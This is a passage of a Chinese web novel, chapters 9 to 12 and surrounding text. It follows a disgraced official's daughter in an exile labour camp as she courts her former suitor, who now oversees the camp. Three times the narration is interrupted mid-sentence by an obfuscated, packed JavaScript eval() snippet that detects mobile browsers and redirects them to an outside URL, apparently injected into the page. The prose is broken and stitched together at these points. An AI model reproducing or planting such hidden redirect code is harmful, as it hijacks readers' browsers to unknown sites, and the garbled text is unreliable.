王姨娘道:“今天也不知怎的,你们不在,我便把你们的碗一并带过去,那人却没按照人头数,将每个碗都盛满了,许是来了位好心的官兵吧,也不知明日还能否这样。” 云明旭不来,她们能多打一碗饭也是好的。 云舒月端起碗,一人还有个黄面馍馍外加一根鸡腿。 “那便还是如常,给我父亲留一碗粥回去吧。” 王姨娘犹疑道:“要不要,把这两日的伙食情况如实告诉老爷,这样他或许愿意出来打饭了。” 云舒月当机立断:“不要,无论我们吃什么,每日就给他留碗粥回去,再说了,要是他还是不愿意出来,当心你们的肉和馍馍也没了。” 她了解她父亲,他底下有这么多人可以供养他,他何必要出来呢,虽然成了流放的罪犯,尊严却还没放下。 一家之主不在,云舒月爱管事,也爱命令人,说出来的话,大家都愿意听。 一家人今日便多了一个馍馍和一根鸡腿可以吃。 这根鸡腿当然是云舒月的。 她盘腿坐在树下,啃完了鸡腿,喝完了粥,身体倒是没任何不适了,她自然而然地拿起多的那根鸡腿,瞥了一眼眼巴巴望着她的云梓莹。 是呢,云梓莹跟王姨娘在今天之前一直是分的一份食物吃。 云舒月短暂地犹豫了那么一下,还是自己吃了。 林书柔慈爱地看着女儿:“你今天受罪了,吃饱些。” 到了晚上,云舒月躺在床上,肚子终于不咕叽乱响了,可随后她听到了周围此起彼伏的肚子叫声,叫得她心烦。 她倏地睁开眼,今晚反而难以入睡。 她辗转反侧地想了许多事情,想到了以前的江清辞和以前的她,想不通自己为何沦落至此。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032983|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到了江清辞现在不爱搭理她是应该的。 再说了,她如今整个人灰头土脸的,再用美色勾引他一回,能行吗。 可她不能过这样的日子一辈子呀,一定不能! 她转了个身子,牢牢捂住耳朵,鼓了一口气,进入了伴随着蝉鸣和鸡屎味的梦乡。 又是天还没亮的一大早,她听见外面的哨声响起,足以穿透人的耳膜直达头骨。 她从床上坐起来,母亲将她按了回去。 “你今天好好休息,不用干活。” 过了一会儿,领队过来点人的时候果然没有点上她。 云舒月松了口气,缩回了破洞的被单里。 日头升高,光线变得越发刺眼,清晨的阴凉逐渐被驱散,很快人就被酷热笼罩。 屋顶的茅草像是被热浪点燃,云舒月第一次闻到这样的味道,是一种干燥的焦味。 她上身穿着灰布短褂子,下半身一条长裤,腰间随意系着根带子。 她将两只腿搭出来,望着屋顶,摇着大蒲扇不断给自己扇风。 扇了一会儿,她站起身,走到院子里的大水缸前,拿起水瓢咕噜咕噜灌了自己好多水。 放下水瓢,拿衣袖抹了抹唇角,水滴顺着下巴流进衣襟,洇湿了一片,一套动作做得行云流水。 “哈……爽!” 就是早上发的那碗粥喝下去很快就饿了,也不知今天晚上还有没有肉吃。 抬眼时正好看见江清辞一行人从山头上下来,她心里一慌,连忙将水瓢藏到身后去。 她仰头望着站得高高的他,又想起自己穿着个灰马褂。 好吧,江清辞压根没看她一眼。 江清辞跟自家几位兄弟站在一起,走到刚修建好的行宫大门前指指画画着什么。 云舒月赶紧躲到了门后面去,一行公子还是那般模样,仿佛流放到此地并未对他们造成任何影响。 江瑾瑜看到了茅屋后面露出来的一节衣角,道:“三弟,你这里怎么还有人偷懒呢。”这个点大家都去做活了。 行宫这片地方,专是江清辞负责,其余江家子弟有的趁机外出游历,有的跟随祖父江崇礼住在更深的山里。 江清辞只轻轻瞥了一眼,那截灰色衣角有些发白,破着洞。 “别管她。” 云舒月耳朵尖动了动,随后听到一行人从这一排茅草屋外路过。 “三弟,你说的那个适合品茶论道的飞瀑在何处。” “跟我走便是。” 云舒月心里不甚舒畅,她不懂为何江家这几个人能过得这样畅快,如何还能去飞瀑下品茶论道。 她快速从门后出来,把着门框大声唤了一声:“清辞哥哥!” 烂歪歪的门摇摇欲坠。 一行公子纷纷回头。 她有些腼腆地抿唇笑着,一边点头道:“小伯,瑾瑜哥哥、正泽哥哥、清朗哥哥,你们好呀,好久不见。” 她笑得热切又甜美,倒叫人不好不理她。 只有江清辞抵抗住了,他皱着眉,不太高兴的样子: “你有何事?” “来都来了,不如进我家坐会儿吧。”云舒月把着门框,树皮做的门板发出嘎吱嘎吱的响声,她的眼珠子睁得大大的,眨巴眨巴。 9. 第 9 章 几位芝兰玉树的公子纷纷转头往屋里瞧去,云舒月指着的桌子瘸了一根腿,桌面上坑坑洼洼,支棱着一些木刺。 上面歪歪扭扭摆放着几个缺口的陶碗。 她说:“都坐呀,客气什么。” 众人皆不言语,脸皮最薄的老四江清朗率先过来坐下。 一根烂歪歪的条凳。 云舒月转过身去拎水壶。 江清辞看见她垂头往每一只碗里倒水,乌黑发丝挽在肩头,动作笨拙。 他别开眼,声音冷涩:“江清朗,起来,咱们该走了。” 江清朗一向对三哥言听计从,闻言立马从条凳上站起来,条凳与地面擦出一段刺耳的声响。 几人就要离去,云舒月将水壶落在桌面上,声响闹得不小,待江清辞转过头时,她迅速转换表情,娇娇怯怯道:“清辞哥哥,你……” 他如何听不出她言语中的讨好与示弱。 “云姑娘当初说与我不熟,如今这声‘哥哥’倒叫得顺口。” 云舒月指尖掐进掌心,脸上娇意不减:“叫了那么多年的哥哥,哪能为着一句话就断绝。” 江清辞看着她想了许多,明明一早就知道她是个什么样的人,但一见她这般虚伪的模样,他还是忍不住生气。 “我们走。” 江嘉懿回头瞥了眼云舒月,无奈地摇了摇头。 云舒月一路追到了门口,公子气度从容,她挨不上一点。 她垂下头抵在门后,眉头蹙着,总要再想想别的办法。 她忽然想起了什么,爬到床底下翻箱倒柜的找。 云家人离开家时能带走的东西不多,大多都是些不值钱的破烂玩意儿。 稍微带些价值的东西都会被扣下。 不一会儿,她翻出来一个灰扑扑的、绣线分布毫无章法的荷包。 这是她唯一一次,尝试着自己绣的荷包,当时大概、也许,是打算送给江清辞的,她后来是真的喜欢他,并不光是图他什么。 绣线和布面都选得极为用心,两头拴着极小的翡翠珠子,本应是个值钱的物件儿,却因为上头这乱糟糟的绣工,让抄家的官兵放过了它。 青山环抱间,一道瀑布自山顶奔涌而下,砸落在水潭中,溅起层层雪白的水花。 几位公子身着素色长袍,衣袂飘动,围坐在一方石桌旁,桌上摆放着一套古朴的茶具,茶香袅袅升腾。 年纪最小的江清朗负责为众人斟茶。 江清辞端起茶杯,先凑近鼻尖,闭目轻嗅茶香,而后浅抿一口。 黔州虽偏远,可这样的意趣在京中可体会不到。 一边听着江瑾瑜谈及近日研读的古籍,为着对方口中某个精妙的观点,江清辞脸上露出惬意的神情。 江嘉懿忽道:“对了,我这里经费不够用了。” 江清辞倏地睁开眼,意趣全无。 “什么经费?” 见三侄面上露出不耐,江嘉懿还颇为生气:“还不是你三天两头要给他们加餐,一会儿要加馍馍,一会儿要加鸡腿,从没见过哪里的流放人员能吃这么饱的。昌平行宫上下一共五百张嘴要吃饭,你以为钱只用花到她一个人身上?” “……谁说是给她加的了,行宫里的人吃饱了饭,干活才能更卖力。” 江嘉懿还要张嘴分辨两句,被江清辞的眼神瞪了回去。 行,给三侄留点面子,他闭嘴。 一听见外头的哨子吹响,云舒月捧着碗就赶到了放饭处。 没一会儿,家里人也来了,云舒月连忙伸手关切地拉住母亲和诗筠:“怎么样,今天的活儿累不累。” 林书柔和诗筠都摇头:“不累,活儿勉强都能干下来,就是你父亲……” “父亲怎么了?” “唉,你父亲他今日又挨了一鞭子,现在回了屋子里直叫唤,要王姨娘服侍他。” 云舒月缩了缩肩膀,有些害怕,虽说最近的日子眼见着好了一些,可周围环境无一不在提醒她,她云家一家现在是罪犯的身份。 虽说皇上只判了他们一家流放,可流放之地偏远又自成一套天地,若是运气不好被人打了杀了,也无法诉诸律法,只能认命。 当务之急,还得先找靠山才是。 她有美貌,有才华,自认为挺聪明,不信不能在这个地方安稳立足、顺便谋求出路。 只是不知那天押送他们的官兵提了一嘴的,掌管整个昌平行宫的司隶校尉,究竟是何人。 一边想着,队已经排到了,云舒月连忙将碗递出去,眼巴巴地道:“谢谢老伯,可以给我一个大一点的馍馍吗,我想要那一个。” 她伸出手指,指着一个圆滚滚的黄面馍馍。 她嘴巴甜,人又长得俏,大多数人都乐意遂了她的愿。 今天的伙食是每人一碗粥、一个馍馍、一个鸡蛋。 虽然没有鸡腿了,但大多数人还是喜笑颜开。 在流放地待了十多年的老人嗓音粗得不像话:“这么多年了,还是头一回吃到肉和蛋,新来的把总真是个大好人呐。” 云舒月扫眼看去,这位老爷爷的腰背都弯成了一道曲线,再也直不起来,永远只能佝偻着背行走,苍老的、布满斑点的手颤巍巍端着碗。 她眉头皱得紧紧的,从心底里忽的生出一股绝望之感,她想,无论如何,无论付出什么代价,她都绝不能让自己落入这样的境地。 一家人照例蹲在树根底下吃完了饭,王姨娘端着一碗粥:“我得赶紧回去喂他,省得他又闹脾气。” 孙姨娘脾气上来了,斥道:“你还管他做什么,依我看,就叫他自生自灭的好。” 柳姨娘忙道:“不可,咱们一家的希望全寄托在老爷身上,只要老爷还在,不愁没有东山再起的一日。” 孙姨娘嗤笑一声:“一家人都沦落到流放的地步了,还能分出个阶级的高低来不成?凭什么还伺候他。” 柳姨娘道:“你有儿子傍身,我们可没有,除了指望老爷,还能指望谁?你在夫人面前说这些是什么意思,不分阶级高低,难不成你还想做大?” 林书柔将碗放下,神情严肃起来:“你们闹什么,是嫌今天干的活还不够累吗。” 主母一发话,两个小妾登时不敢再多言。 云舒月一边吃饭,一边默默想了许多,她忽然转身拉着诗筠的手道:“诗筠,今晚不用你替 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“清辞哥哥,”她一边轻抽鼻子一边道,“那天的那句话,真的不是舒月本意,舒月当时一说完那句话,愧疚了一整晚,真的。” 她抬眸时,泪珠子都快掉出来了。 江清辞只将目光落在荷包上。 “这又是什么东西?” 云舒月伸出衣袖抹了抹眼泪,连忙介绍道:“这是我给你绣的荷包,本来当时是想送给你的。” 江清辞打量着荷包,是蜀锦做的,她没说谎,还真是她以前做的,不是现在为了讨好他胡乱拼凑出来的。 所以呢,然后呢,可是呢。 他从怀里掏出一枚做工精细的,绣着一对并蒂莲,十分漂亮的荷包。 两者并排躺在手心里,后者还带着温热的体温。 他那一贯从容的神情,终是出现了一道裂痕。 他用中指和食指夹起那枚精美的绣着并蒂莲的荷包,不可思议地看着她质问道:“那这又是什么东西?” 云舒月张了张嘴,眼珠子瞪得溜圆。 “这是……这是……这也是我绣的。” 声音逐渐变弱。 江清辞的一颗心像是碎了,一早知道云舒月平常爱装模做样,小把戏多,可他从未想过这里面连一丝真心也无。 他就为着这样的小甜头,着了她一次又一次的道。 云舒月感觉到头顶的视线在冒火,可她不太理解。 “你在生什么气呢?”她轻声道,抬头看他时,神情讨好。 拜托,千金小姐哪个不找绣娘代工啊,荷包就是个心意而已。 现在她都证明她曾亲手绣过一个了,还不能代表她的真心吗? 江清辞盯着她头顶看了半晌,看她头埋得越来越低,他叹了声气。 她何曾这样过,她从来是高扬着头颅的。 而她低头的目的,她现在想要什么,他也一清二楚。 可是,“云舒月,我没有尊严的吗?” 10. 第 10 章 云舒月怔了一瞬,伸手拿回那只做工粗糙的荷包,曾经金丝楠木琴台上轻拢慢捻的十指,从他掌心划过。 往常她要什么,他就给什么,他这次偏不。 山上木屋里,几位江氏子弟已经搭起酒席,就等江清辞回来。 “三弟,快来,有五弟六弟从夜郎国带回来的枸酱酒,来尝尝。” 当夜,天边涌起大片墨色乌云,闷热的空气开始躁动起来,树叶被刮得沙沙作响,草丛被狂风撕扯。 紧接着,一道耀眼的闪电划破夜空,将黑夜瞬间点亮,随后是震耳欲聋的雷声,仿佛要将天地震裂。 枸酱酒劲儿大,江清辞刚陷入浅眠,被雷声吵醒,揉着眉心坐起来,前额阵阵发昏。 “公子,黔州夏日雨水充沛,打雷闪电的时候多了,您别担心,好好安歇便是。” 祈言将支起来的窗户依次放下,替他将玉枕换成软垫,扶着胳膊让他躺下。 屋外声响虽大,却格外助眠。 豆大的雨点“噼里啪啦”地砸落下来,转瞬之间便成倾盆之势。 住在草屋的人便没有那么好运得以安眠。 屋顶发出“咚咚”巨响,门被大风吹得“哐当哐当”直响,不一会儿,干脆被风扯掉刮了出去。 云舒月是被雨点砸醒的,雨点透过屋顶的缝隙落到她脸上,她忍着躁意爬起来。 一屋子的人都被这突如其来的暴雨惊呆了,这里面有谁见过这等场面? 诗筠将薄薄的被单支在云舒月头顶,小姐脸色很不好看。 江清辞倏地睁开眼,轰隆隆的雷声着实可怕。 她那时穿着粉裙,正静坐窗前翻书,突然来临的雷声吓得她花容失色,书卷也滚落在地上,她的眼中满是惊恐与无助,脸颊苍白如纸。 抱紧双臂的她,纤细的身子像飘零的落叶。 她后来不止一次告诉他,她很害怕打雷,怕得神魂俱颤。 她天生就娇柔,也让他想保护她。 江清辞起身趿履,支着伞出了门。 他曾真的打算再也不搭理她了,可她柔弱至此,是他护佑了半生的女子,他又怎么忍心见她这样。 这一片地不好走,暴雨时地上满是泥泞。 江清辞心里没别的想法,他只想将她带到木屋里去,那里有结实的屋顶,再给她点上昏黄的油灯,为她裹上舒服的被子,擦净她的满身泥泞。 他看到了这间四面破漏的草屋,屋内黑漆漆的,不一会儿,有人费劲儿点亮了灯烛。 他听见了一片嘈杂的声音,里面的人先是在争论些什么,一家人一起落难时互相指责是难免的事。 随后他听见了云舒月的声音。 “别吵了,还让不让人睡觉了!”很凶。 她愤怒地剥开糊在脸上的被雨水打湿的头发,忽然被气笑了。 她曾一次又一次地接受了自己的狼狈,可永远有更狼狈的狼狈出现。 诗筠一边宽慰小姐,一边看着屋顶发愁:“这个样子还怎么睡呢?” 云舒月冷静下来,指使着家中两个妹妹一个弟弟,外加一个哥哥。 “把被单斜着绑在床顶的架子上,地上放个陶罐,暂且将雨水引到那里面去,咱们先睡觉。” 两个妹妹听了指挥,忙开始干活。 又一道闪电擦过,照亮了整个屋子的情形,他看见她了。 她蹲坐在床上,面容清丽,长睫颤动,发丝贴在她脸颊上,肌肤还是如羊脂玉那般。 衣衫单薄,也贴在她身上,她的腰更细了些。 因困倦,她伸手打了个哈欠,待家里人处理好后,又无力地躺倒在床上。 江清辞执伞转身,垂头时眼眸落寞,他似是又自作多情了一回。 他自嘲般地摇了摇头,云舒月啊云舒月,我竟不知,我对你究竟有几分了解。 他无力撑伞,垂手任由雨滴打在身上,自始至终狼狈的明明是他。 草屋外歪斜的枯树上,两只淋湿的雀儿正紧挨着发抖,恰似喜烛上一对交颈鸳鸯被泪蜡洇糊住了轮廓。 诗筠与云舒月并肩而睡,屋子里终于又安静了下来。 诗筠伸手捂住小姐的耳,心疼道:“小姐平常最怕打雷了,奴婢给您捂住耳,便听不见了。” 云舒月困顿间拍了拍诗筠的手,道:“从前除了打雷,再没什么可怕的,如今除了打雷,却样样都可怕,你与其用双手来捂我的耳,还不如给我捏捏肩,这床板太硬,硌得我肩背疼。” 天亮了,云舒月没能逃过干活,中毒晕倒了能休息一日,已是上头格外开恩。 江嘉懿拿着京城寄来的信件走进江清辞的书房。 “啧啧,在皇家别苑的修建中,你猜猜云明旭一共贪了多少。” 江清辞抬头,看见江嘉懿的手比了个数字。 “还不包括之前的征收田赋、商税等案子。” 江清辞垂头翻阅一早从地方上递上来的案宗。 江嘉懿见他不搭理自己,凑到他跟前去:“那你又知道,从云家一共抄出来多少两白银吗?” 他伸手重重拍上三侄的肩,“啧”了一声道:“你之前用你私库填进去的那些,皇上已经还你了。” 云明旭贪财,贪的都是国库的财,受损的是皇上,倒不是贪的平民百姓的财,这也是为什么江清辞愿意替他掩盖罪状,还替他填坑。 只是他往常,刚花钱填了坑,云舒月转日就穿着新衣裳戴着新首饰到他面前来。 “清辞哥哥,我爹爹叫一百位绣娘花费了一百日绣出来的这百蝶流仙裙好看吗?” 每当这时,江清辞就觉得,钱花得也值。 未来岳父将他的月儿养得明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她靠近他,突然咬他肩膀,一边呜咽着: “清辞哥哥,我疼,我好疼,我每天都吃不饱,也睡不好,我害怕那些人的鞭子抽到我身上。” “你瞧,”她掀起袖口,一截雪腕递到江清辞眼前,腕上红痕比当年金丝嵌宝的虾须镯还晃人。 是一路走来那枷锁磨的。 泪珠子串成线沿着下颌往下坠,在锁骨窝里打了个旋儿,凝成一颗琉璃珠子——那处她原本爱垂着一颗玉玲珑坠子。 明明她的睫毛干爽如初,坠在他手背的泪却是烫的。 她只敢垂着头,盯着他的靴底看,那是双镶着白玉的官靴。 11. 第 11 章 她怔怔看了半晌,将眼泪砸到他的官靴上。 江清辞伸手掌住她的脸,摸到一片湿滑。 “别哭了。” 他从前只知道她擅长将三分情演到十分,现在更知道,她明明是将无情演到十分。 云舒月抬头看他,眼中满是不可思议:“你,你不是这里的罪犯。” 一个拎着鞭子的小兵站在一旁揣度他们两人已久,小心问道:“江大人,云姑娘手上的活儿……还做吗?要是不做,小的好安排旁人来做。” 每个人的活儿都是分配好了的,若有一个人没能完成,耽误了这一片区的总进程,他是要被问责的。 江清辞放开云舒月,冷声道:“所有人都在做,她为什么不做。” “云舒月,再让我看到你偷懒,采石场的刑罚不是闹着玩儿的。” 说完,他头也不回的甩袍离去。 那官兵顺势拎起鞭子吓唬了一下云舒月:“还不快去干活,麻利点!” 云舒月缩着肩膀:“别打我别打我,我这就去!” 那官兵只是吓唬吓唬她,前些日子新到的司隶校尉江大人改过这流放地的规矩,不让他们随意拿鞭子抽人,只有少数几个重刑犯不受限,打得他们越狠越好。 江嘉懿已在行宫大门前等候江清辞多时。 “你在磨蹭什么呢?陶县情况危急,县令要你过去帮忙。” 江清辞上了祈言牵过来的马,“不是叫你派人过去救灾了吗?” “光是派人有什么用,无论是调度物资,还是传递公文,都需要你在。” 一路往山下走,便能看见成片被淹的田地。 江嘉懿道:“好端端的,堤坝怎么说决堤就决堤了?真是可惜了粮食。” “负责修建这堤坝的官员现在正在山上修行宫,你说呢?” 到了地方,村民们大多都赤脚在泥水中奔走,扛着沙袋围拢在自家田地四周。 此处状况还没有堤坝那边惨烈。 江清辞被县令带着过去,站在山头上往下望,底下的人几乎脖子以下都被泡在水里,云明旭也在其中。 他纵是想偷懒,此时也不敢不干活 ,堤坝若是修不好,他们这些人都得死。 陶县县令道:“您派过来的这些流放人员都在这下面,倒是好用。” 若是有人一不小心滑倒了,在水流的巨大冲击下,要么靠自己爬起来,要么被冲走,若是让人去救,反倒耗费人力,流放罪犯的作用便体现在这里。 江清辞看着底下的人,并不言语。 行宫被选址在山顶,这里的人除了在淋雨以外,感知不到任何。 云舒月挖了一整天的石头,累麻了,手也疼得没有知觉了。 林书柔将她护在怀里,心疼坏了。 “月儿叫你阿兄替你做些吧。” 云鸿祯听了这话,也点点头:“妹妹在没有人盯着的时候,便偷偷歇着就是,干不完的活儿留着哥哥帮你干。” 云舒月有些想哭,哥哥真好。 从前在京城里,她身边的那些人总是瞧不上哥哥,说他连个举人也考不上。 但云舒月可不那么认为,哥哥就是世上最好的哥哥。 比那什么江清辞好一万倍。 可是,可是哥哥没有功名在身,也没有权势,唉,护不了她呀。 一家人围坐在大树底下吃饭时,云明旭还没有回来。 孙姨娘看着碗中稀拉拉的粥,气愤道:“他一个人犯的罪,凭什么我们一家都要跟着受罚,难不成还真要在这里挖一辈子的石头?” 她揽住儿子云茂学,眼泪忍不住地流了下来,“一家子都是戴罪之身,茂儿考功名的路也断了,他年纪明明这么小,什么都还没机会做的,一辈子便只能这样了吗?” 林书柔放下碗,犹豫着伸手安抚孙姨娘:“又能怎么办呢,咱们以前也过了金尊玉贵的日子,既然皇上说咱们家的财都是贪来的,现在受惩罚也是应该的。” 云舒月抬眼望着母亲,想不到母亲竟这般自洽。 不光是孙姨娘不服气,她也不服气,父亲贪的银子她是花了,可她又不知情,她若是知情的话,早不要那些东西了,她自有办法将自己妆点得人人艳羡。 云家二小姐有才有貌,生得冰肌玉骨,合该一辈子活在金屋玉台之上。 一气之下,她一口气将碗里的粥喝干了,又抓了根鸡腿吃,恨不得将骨头都吸进肚子里。 云明旭直到深夜才回来,人一到,直接累趴下了,更何况他前些天受的鞭伤还没好,又泡了一天污泥水。 见他这副模样,他的几位妻妾互相对视一眼,不知之前不给他多留食物是不是错了。 毕竟一家之主只有一个,谁也不想让他真的没命。 好在陶县的堤坝终于是堵住了,上面特许他们这些“有功”的罪犯今日可以休息一日。 剩下的人一大早哗啦啦地上了采石场干活。 云舒月今日记着母亲和阿兄的话,只要周围没人盯着她了,她就开始偷懒。 能偷到一刻算一刻,每天饭吃得那么少,干不了多久肚子就饿了,她得省着些体力。 她寻了处土堆坡面,背着日晒的地方,靠在上头打起了盹。 地方虽隐蔽,不易让人发现,可云舒月自己也没想到,她竟打起了鼾。 那巡查的官兵循着鼾声来到这里,见到个偷懒睡觉的人,二话不说一鞭子抽了上去。 “奶奶的,也不看看这是什么地方,竟敢偷懒!小爷我今日非好好教训教训你不可。” 这一鞭子抽在云舒月的上臂处,她猛然惊醒,一双眼睛惊恐地瞪大,不停缩着腿往回挪。 “别打我,别打我……” 她双手紧紧抱着自己,身子不住颤抖,上臂的痛感传来,苍白的唇张开喘着气。 那人举起鞭子又要再抽下来,背后响起一道冷厉的声音。 “你在做什么?” 他只好放下鞭子,指着地上的女子说:“江大人,她竟然在睡觉。” 云舒月抬眸时惊惶未散,颤着声音道:“清辞哥哥,救我……” 那执鞭的官兵变了脸色。 江清辞皱着眉头,看着她的模样,心揪着疼,他终于开口,言辞无奈:“云舒月,你如何能把自己搞成这副模样。” 他朝她伸出手,“疼不疼?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032986|162332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “疼。” “我带你去找郎中,别怕。” 一旁的执鞭人突然双膝跪地,神情惶恐,“卑职打错了人,还请大人降罪。” 江清辞眉间积着铅云,伸出的手顿了顿,过了一会儿,他弯腰将云舒月抱了起来,路过那执鞭人时,说了一句:“你没罪。” 云舒月两根胳膊环过江清辞的脖颈,头往他胸膛里埋了埋。 手臂上的鞭伤触目,挨得不轻,滋滋渗出血珠,染红了一片衣袖。 许是她皮肤柔嫩的缘故,这鞭伤比旁人的要重三分。 “云舒月,你怎么连偷懒都不会偷,有人要打你你不知道跑吗?” 云舒月嘟着嘴,有人给自己撑腰了,便有了满腔的委屈:“他偷袭我,我那会儿睡着了,呜呜呜再说了,我就算是跑,又能跑到哪里去。” 这流放地四周皆有官兵把守,从她束手就擒的那一刻起,就逃不掉了。 “你……”她跑来找他,他总不会叫她挨打。 他真是拿她没有办法了。 他将云舒月抱回山上,又借了祈言的屋子一回。 “快去叫郎中来。” 江嘉懿走在路上遇见个垂头丧气的小兵,那人不看路,径直撞上了他。 小兵见又冲撞到个贵人,连忙跪地求饶。 江嘉懿掸了掸衣袍上的灰,不耐道:“你走个路怎么魂不守舍的?没有人要罚你,起来吧。” 那小兵拊掌叹道:“贵人们在这里若有什么亲眷熟人要照看的,何不早把名单列出来告诉卑职们呢,否则上上下下这么多人,卑职又如何知道哪些人是不能得罪的。”言语中颇有不满。 江嘉懿神色变了变,淡淡道:“你胡说些什么,发配到黔州的都是曾经的朝中重臣,谁背后没牵扯到几个尚在京里的贵人,皇上既已将他们发配到这里,罪犯就是罪犯,没有分别。” 那小兵指着山上道:“江校尉刚带了个女子上山,还请把总明示,云家人究竟与贵人们有何关系,可需要卑职们斟酌以待。” 江嘉懿捏了捏眉心,若是换成以前的他,早就要说:“嘿嘿,云家女是江校尉的心上人,你说呢?” 但他现在只会说:“无任何关系,你记住了,江校尉清正奉公,凡是流放地的罪犯,皆是一视同仁。” “把总的意思是?” “你要是敢把这件事说出去,当心你的脑袋。” 郎中拿着一把剪刀,将云舒月伤口旁的衣袖剪开,露出一大片皮肉。 云舒月不敢看,一直在掉泪,哭狠了被呛住,几根头发丝黏在唇珠上。 她扫视着这间曾来过一次的卧房。 “江清辞,咱们都是流放,你为什么能住这么好的屋子?” 许是疼迷糊了,心中的不忿冒了出来,第一时间竟不是诉苦。 江清辞道:“因为我来得早,活儿干得又多又好,所以被提拔了上来。” 他伸手撩开她唇边的发丝,用极轻柔的声音道:“你好好干活,以后别想着偷懒了,上头的人看见了,自然也会提拔你的,到时候你也能住上这样的屋子了。” “那能有很多肉吃吗?” 12. 第 12 章 “嘶~好疼啊。” 江清辞难得这么温柔一回,伸手盖住她的眼眸:“忍着点,别看。” 郎中替她上好药,又包扎好。 云舒月启唇轻声问道:“会留疤吗?” 声音里是说不出的脆弱可怜。 郎中无奈摇了摇头,说道:“姑娘皮肤娇嫩,留疤是在所难免的。” 云舒月一颗心坠入谷底,贝齿咬着下唇,又要落下泪来。 她又转向江清辞,可怜巴巴地望着他,“清辞哥哥,我不要。” 她两只手都缠上他的手臂,拽着他的袖子。 江清辞站起身,领口被她扯歪一截。 他斜眼看她:“早知今日,何必当初。” 流放地不是儿戏的地方,也不是她哭两声就能掩盖残酷的地方。 他纵然不想叫她受苦,可归根结底,他们二人又有什么关系呢。 她既来了这里,他念着旧情,保她性命已是不易。 这一整个流放地,除了云家三位姑娘以外,何曾还有哪家年轻女眷尚在的。 “我不敢了,我真的不敢了。” 他观她神采,便知她天真尚存,真以为靠着一些手段,就能继续过她想要的生活。 多亏小伯多此一举将他们一家调来的黔州,若是换成别的地方,还真是保不了她一条命。 “清辞哥哥,你帮帮我吧,我知道你有能耐,难道你忘了咱们从前的情分了吗?” 她声声含情,字字呕心,两片睫毛轻轻颤动,恰好挂了一滴泪。 他想错了,她哪里是看不清时局,她明明比谁都聪明,今天挨这一鞭子,也不知是有恃无恐,还是苦肉计。 他依旧斜晲着她,一边袖子还被她拽着。 “不会再有人打你了,放心。” 云舒月心底悄悄松了口气,看来江清辞是承认了,他有让人不打她的权利。 “那我今晚,想吃烧鸡,一整只。” 江清辞嘴角耷拉下去,手臂一用力,抽出了袖子,他伸手掸了掸,恢复了月白色锦袍抻展光滑的质地。 “你想得美。” 云明旭那天累惨了,在床上躺了一天一夜,又发了几顿烧,今日才勉强能喝碗稀粥下地走动。 这一走动,遇见了曾经的老熟人,比他早两年下马的都水监丞谭聪健。 两人一见面,俱是涕泗横流,相携感慨。 “老谭啊,你可把我害惨了,陶县那堤坝是你修的不是?我那日可差些在那里丢了命啊。” 谭聪健扶着云明旭的手臂,“老兄,你那日也在?我那日也在啊,想是人多,没看见你,今后咱们两兄弟相互扶持才是啊。” 云明旭叹道:“别的都不提了,咱们能在此处碰见,是天大的缘分,唉对了,令子令女现下在何处啊,贵府家眷都可还安好?” 云家人的草屋罕见地来了一位客,云明旭许久未有过的一家之主的感觉终于又浮上心头。 他朝林书柔吆喝了两句:“夫人,快给客人上茶。” 又看见立在墙角的两个姨娘,厌烦道:“你们是什么身份,也敢站在这里,去去去,回你们院子里去。” 云舒月手上还扎着白布,此时也没忘了给客人行礼:“谭伯伯,好久不见,身体可还好?” 往常云府待客都有云舒月出面,她惯会在各家长辈面前讨巧卖乖。 谭聪健见了云舒月的模样,大吃了一惊。 云家女儿虽说皮肤黑了些、糙了些,身上的绫罗绸缎也变成了粗布麻衣,可大体上还是一个水灵灵的女儿家,这还不够让人惊奇的吗? “对了,谭伯伯,谭姐姐呢,当初你们离开,我都还没来得及好好跟她告个别。” 谭聪健眼神落寞下来:“她嫁人了。” “嫁人了?如何还能嫁人?”云舒月满腹疑问,转头又想:“若是真的,倒也是好事呢,总比我们每日在采石场搬石头的好。” 谭聪健道:“在新的司隶校尉到这儿之前,这里可乱着呐,我们这些罪犯就算好好干活也要不停挨打,那些官兵打人成性,你谭姐姐她可糟了不少罪。” “因着这流放地的女子大多都是官宦之女,从前的金枝玉叶,上头的人便跟地方上达成了协议,每隔一段时日便有人朝官府交了银子上来选妻。” 云舒月瞪大了双眼,“选妻?” “是啊,选妻,君雅便是被邻县一个商人选走了,我也不知她现在过得如何了。” 云明旭道:“可本应服刑的罪犯被人选走,朝廷那边怎么交代呢。” 谭聪健道:“那些人的手段你还不知道,吾女在递交朝廷的文书上,已经病逝了。” 林书柔不知从哪儿得来了些碎茶叶,给夫君和客人做了茶,叹息道:“说起来,君雅被人选走也不一定就是件坏事呢。” 谭聪健并未开口回答这话,谁也说不准他女儿现在过得好还是不好,也无法替她断定被人选走是好事还是坏事。 “咱们这些被朝廷盖了章画了押的罪犯,一辈子也摆脱不了有罪之身,谭姐姐至少摆脱了。” 